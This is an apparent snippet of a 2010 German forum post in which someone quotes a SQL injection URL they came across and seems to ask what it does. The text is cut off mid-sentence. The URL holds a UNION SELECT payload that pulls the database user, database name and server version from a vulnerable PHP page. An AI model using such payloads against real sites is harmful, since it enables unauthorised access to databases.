Beim Durchstöbern der dubioseren Teile des Internets bin ich zufällig auf diese spezielle SQL-Injektion gestoßen:
http://server/path/page.php?id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6--
Meine SQL-Ken...
28.10.2010, 12:19